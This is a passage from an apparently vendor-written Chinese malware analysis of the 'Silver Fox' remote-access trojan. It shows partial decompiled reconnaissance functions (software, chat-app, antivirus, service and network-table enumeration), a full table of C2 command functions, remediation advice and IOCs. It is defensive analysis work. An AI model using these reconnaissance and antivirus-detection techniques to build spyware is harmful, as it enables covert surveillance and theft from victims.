                TotalNumberOfFreeBytes.QuadPart = 0i64;
                if ( GetDiskFreeSpaceExW(i, &FreeBytesAvailableToCaller,
&TotalNumberOfBytes, &TotalNumberOfFreeBytes) )
                {
                    v18 = TotalNumberOfBytes;
                    v19 = TotalNumberOfFreeBytes;
                }
                //省略部分代码
                .....
            }
        }
    }
}

```

获取系统安装软件的信息，通过注册表子键值SystemComponent，ParentKeyName，DisplayName，DisplayVersion，Publisher获取相关信息。

```

DWORD GetSysSoftwareInfo_ctrl(_DWORD *a1)
{
    //省略部分代码
    .....
}

```

```

    GetSubKey_Value_ctrl(HKEY_LOCAL_MACHINE,
SOFTWARE_Microsoft_Windows_CurrentVersion_Uninstall, 256, (int)a1);
    GetSubKey_Value_ctrl(HKEY_LOCAL_MACHINE,
SOFTWARE_Microsoft_Windows_CurrentVersion_Uninstall, 512, (int)a1);
    GetSubKey_Value_ctrl(HKEY_CURRENT_USER,
SOFTWARE_Microsoft_Windows_CurrentVersion_Uninstall, 256, (int)a1);
    GetSubKey_Value_ctrl(HKEY_CURRENT_USER,
SOFTWARE_Microsoft_Windows_CurrentVersion_Uninstall, 512, (int)a1);
    sub_1000A800(*a1, a1[1], (a1[1] - *a1) / 72, a1);
    //省略部分代码
    .....
}

```

获取系统安装的聊天软件信息。所关注的聊天软件如下：

| 软件名             | 进程名                        |
|-----------------|----------------------------|
| 微信              | weixin.exe                 |
| 企业微信            | wxwork.exe , wxworkapp.exe |
| QQ              | qq.exe                     |
| 钉钉              | dingtalk.exe               |
| 飞书              | feishu.exe                 |
| Lark            | larkapp.exe                |
| Telegram        | telegram.exe               |
| WhatsApp        | whatsapp.exe               |
| Discord         | discord.exe                |
| Slack           | slack.exe                  |
| Skype           | skype.exe                  |
| LINE            | line.exe                   |
| Microsoft Teams | ms-teams.exe               |
| SafeW           | safew.exe                  |

```
HANDLE Get_ChatSoft_Info_ctrl(_DWORD *this, int a2, int a3)
{
    //省略部分代码
    .....
    result = CreateToolhelp32Snapshot(2u, 0);
    hSnapshot = result;
    if ( result == (HANDLE)-1 )
        return result;
    pe.dwSize = 556;
    if ( Process32FirstW(result, &pe) )
    {
        do
        {
            v4 = 0;
            v5 = 0;
            while ( 1 )
            {
                if (!CmpString_ctrl(pe.szExeFile, ChatName_List[v5]) )
                    break;
                .....
            }
        }
        while (Process32NextW(hSnapshot, &pe) );
    }
    CloseHandle(hSnapshot);
    //省略部分代码
    .....
}
```

获取杀软相关的信息。通过创建互斥体以及检测特定设备名来判断机器中是否存在杀软。相关信息如下：

| 杀软名称   | 互斥体名                              | 设备名                                       |
|--------|-----------------------------------|-------------------------------------------|
| 360 杀毒 | "Global\360RPCGuard"              | "\??\GlobalRoot\Device\360SelfProtection" |
| QQ 管家  | "Global\TENCENT_QMTAV_TSCAN_HANG" | N/A                                       |

| 杀<br>软<br>名<br>称 | 互斥体名                                  | 设备名 |
|------------------|---------------------------------------|-----|
| 金山毒霸             | "Global\kxecolct_bsod"                | N/A |
| 火绒安全             | "Global\PCMLOG_HrASDaemon.txt.logdat" | N/A |
| 未知杀软             | "Global\UrlZonesSM_test"              | N/A |
| 未知杀软             | "Global\memscan_next"                 | N/A |
| 未知杀软             | "Global\LogonHelperWait"              | N/A |

获取系统所有服务信息。

```
char __cdecl EnumAllService_Info_ctrl(int a1)
{
    //省略部分代码
    .....
    v5 =
EnumServicesStatusExW(v3,SC_ENUM_PROCESS_INFO,0x3Bu,3u,0,0,&pcbBytesNeeded,&ServicesRe
turned,&ResumeHandle,0);
    LastError = GetLastError();
    v57 = CloseServiceHandle;
    if ( v5 || LastError == 234 )
```

```

{
    //省略部分代码
    .....
    pcbBytesNeeded = 0;
    ServicesReturned = 0;
    v9 = EnumServicesStatusExW(v3, SC_ENUM_PROCESS_INFO, 0x3Bu, 3u, v8, v7 -
(_DWORD)v8, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle, 0);
    v52 = v9;
    SetLastError = GetLastError();
    //省略部分代码
    .....
    v11 = lpServices + 8;
    v64 = (int *) (lpServices + 8);
    while ( 1 )
    {
        //省略部分代码
        .....
    }
}
}

```

获取本机UDP连接表相关信息。

```

char GetUdpTable_ctrl(DWORD* a1)
{
    //省略部分代码
    .....
    dwRet = GetExtendedUdpTable(NULL, &dwSize, 0, AF_INET, UDP_TABLE_OWNER_PID, 0);
    LPBYTE pBuf = (LPBYTE)LocalAlloc(LPTR, dwSize);
    dwRet = GetExtendedUdpTable(pBuf, &dwSize, 0, AF_INET, UDP_TABLE_OWNER_PID, 0);
    // 结构体强转
    PMIB_UDPTABLE_OWNER_PID pUdpTable = (PMIB_UDPTABLE_OWNER_PID)pBuf;
    // 最大可容纳条目数
    DWORD dwMaxCount = (a1[1] - a1[0]) / sizeof(UDP_ITEM);
    // 如果空间不足,调用原扩容逻辑(保留原程序行为)
    if (pUdpTable->dwNumEntries > dwMaxCount){
        .....
    }
    // 遍历所有 UDP 监听项,写入外部结构体
    for (DWORD i = 0; i < pUdpTable->dwNumEntries; i++){
        PUDP_ITEM pOut = (PUDP_ITEM)((BYTE*)a1 + a1[0] + i * sizeof(UDP_ITEM));

        // 网络字节序转主机序端口
        pOut->LocalAddr = pUdpTable->table[i].dwLocalAddr;
        pOut->LocalPort = (WORD)ntohs(pUdpTable->table[i].dwLocalPort);
        pOut->Pid = pUdpTable->table[i].dwOwningProcess;
        ZeroMemory(pOut->Reserved, sizeof(pOut->Reserved));
    }
    // 更新写入偏移
}

```

```
    a1[0] += pUdpTable->dwNumEntries * sizeof(UDP_ITEM);
    LocalFree(pBuf);
    return 1;
}
```

获取本机TCP连接表相关信息。

```
bool GetTcpTable_ctrl(int *a1)
{
    // 省略部分代码
    .....
    dwRet = GetExtendedTcpTable(NULL,&pdwSize,0,AF_INET,TCP_TABLE_OWNER_PID_ALL,0);
    PMIB_TCPTABLE_OWNER_PID pTcpTable = (PMIB_TCPTABLE_OWNER_PID)LocalAlloc(LPTR,
pdwSize);
    //读取完整TCP连接表
    dwRet =
GetExtendedTcpTable(pTcpTable,&pdwSize,0,AF_INET,TCP_TABLE_OWNER_PID_ALL,0);
    .....
    DWORD entryCount = pTcpTable->dwNumEntries;
    DWORD maxItems = ((DWORD)a1[1] - (DWORD)*a1) / sizeof(TCP_ITEM);
    .....
    // 遍历TCP条目，端口转主机字节序，写入外部数组
    for (DWORD i = 0; i < entryCount; i++)
    {
        const MIB_TCPROW_OWNER_PID* pSrc = &pTcpTable->table[i];
        PTCP_ITEM pDst = (PTCP_ITEM)((BYTE*)a1 + *a1 + i * sizeof(TCP_ITEM));

        pDst->LocalAddr = pSrc->dwLocalAddr;
        pDst->LocalPort = (WORD)ntohs(pSrc->dwLocalPort);
        pDst->RemoteAddr = pSrc->dwRemoteAddr;
        pDst->RemotePort = (WORD)ntohs(pSrc->dwRemotePort);
        pDst->State = pSrc->dwState;
        pDst->Pid = pSrc->dwOwningProcess;
        ZeroMemory(pDst->Reserved, sizeof(pDst->Reserved));
    }
    //省略部分代码
    .....
}
```

C2命令编号及功能说明：

| 编号  | 功能                    | 编号    | 功能             |
|-----|-----------------------|-------|----------------|
| 0x2 | 获取系统信息（版本，用户名，IP，端口等） | 0x41A | 获取系统TCP,UDP连接表 |
| 0x3 | 空指令                   | 0x41C | 获取系统所有窗口相关信息   |

| 编号    | 功能           | 编号    | 功能                  |
|-------|--------------|-------|---------------------|
| 0x4   | 心跳包同步        | 0x41E | 给特定窗口发送消息           |
| 0x5   | 关闭系统         | 0x420 | 进程控制（结束，挂起，恢复，设优先级） |
| 0x6   | 空指令          | 0x422 | 获取系统安全软件信息          |
| 0x102 | 空指令          | 0x502 | DirectInput转发       |
| 0x103 | 更新组信息        | 0x504 | 窗口事件转发              |
| 0x105 | 获取聊天软件信息     | 0x505 | 窗口注销/移除             |
| 0x107 | 检测AV         | 0x507 | 窗口注册/心跳             |
| 0x200 | 启动屏捕         | 0x600 | 枚举注册表键              |
| 0x202 | 停止屏捕         | 0x602 | 获取指定注册表键值           |
| 0x203 | 截屏控制参数       | 0x606 | 设置注册表键值             |
| 0x204 | 获取屏幕帧数       | 0x608 | 创建注册表键              |
| 0x206 | 键鼠注入         | 0x60A | 删除注册表键              |
| 0x207 | 开启剪切板内容捕获    | 0x60C | 删除注册表键值             |
| 0x209 | 关闭剪贴板内容捕获    | 0x700 | 开启摄像头捕获             |
| 0x20B | 模拟鼠标移动防止系统睡眠 | 0x702 | 关闭摄像头捕获             |
| 0x20C | 注入器选择        | 0x703 | 设置捕获标志              |
| 0x300 | 查找特定系统文件     | 0x704 | 枚举系统摄像头             |
| 0x302 | 打包上传文件       | 0x800 | 开启音频捕获              |
| 0x304 | 下载tar文件初始化   | 0x802 | 停止音频捕获              |
| 0x305 | 下载tar文件数据    | 0x900 | 加载插件                |
| 0x306 | 下载文件数据       | 0x902 | 插件交互相关              |

| 编号    | 功能                   | 编号       | 功能           |
|-------|----------------------|----------|--------------|
| 0x307 | 清理下载临时文件             | 0x903    | 插件提交数据       |
| 0x308 | 删除特定对象               | 0x905    | 卸载插件         |
| 0x30A | 创建文件夹                | 0x906    | 插件交互相关       |
| 0x30C | 执行payload(远程执行/隐藏执行) | 0x909    | 启动插件         |
| 0x30E | 解码下载的payload并重命名     | 0x90A    | 停止插件         |
| 0x320 | 删除特定下载数据             | >=0x1000 | 插件分发消息       |
| 0x400 | 收集系统软硬件综合信息          | 0x418    | 获取系统所有进程线程信息 |
| 0x402 | 枚举系统进程               | 0x416    | 删除服务         |
| 0x404 | 终止特定进程               | 0x414    | 修改服务配置       |
| 0x406 | 进程提权                 | 0x412    | 发服务控制码       |
| 0x408 | 结束任务进程               | 0x410    | 枚举系统服务       |
| 0x40A | 挂起/恢复进程              | 0x40E    | 终止进程树        |
| 0x40C | 设置进程优先级              | 0x101    | ping操作       |

## 总结

银狐是一款模块化的远控木马，针对Windows终端设计了完整的隐藏、持久化、信息窃取链路。

1. 传播伪装：以文函.exe文档名称欺骗用户执行；
2. 规避查杀：多维度环境检测自动放弃沙箱执行，落地后主动添加Windows Defender排除路径，依托系统合法进程注入；
3. 持久化手段双重保障：注册表隐藏存储后门、伪装蓝牙系统服务开机自启；
4. 威胁危害：一旦入侵成功，可持续窃取主机所有本地文件、聊天记录、剪贴板、摄像头麦克风数据，同时由C2下发指令任意篡改系统配置、安装恶意插件、远程控制终端，存在数据泄露、内网横向渗透风险。

瑞星ESM目前已经可以检出此次攻击事件的相关样本



## 处置建议

1. 阻断终端对gawdkl.fit的外联行为；
2. 全盘检索文函.exe、C:\ProgramData下随机伪装目录，删除找到的异常文件和目录；
3. 删除恶意服务BluetoothUserService\_9dd037；
4. 删除注册表键HKLM\SOFTWARE\Microsoft\Tracing\choco\_RASAPICS；
5. 清理Windows Defender排除列表内可疑程序 / 目录。

## 沦陷信标 (IOC)

### • MD5

3DB3678944D709BC08530B411C83ED5E  
CB980B731CD5DC476435750D758790BF  
182861B5207152E067F94EEED4F1FACE

### • Domain

gawdkl.fit

- 瑞星病毒名

Dropper.Agent!1.14213

Trojan.Agent/x64!1.141C2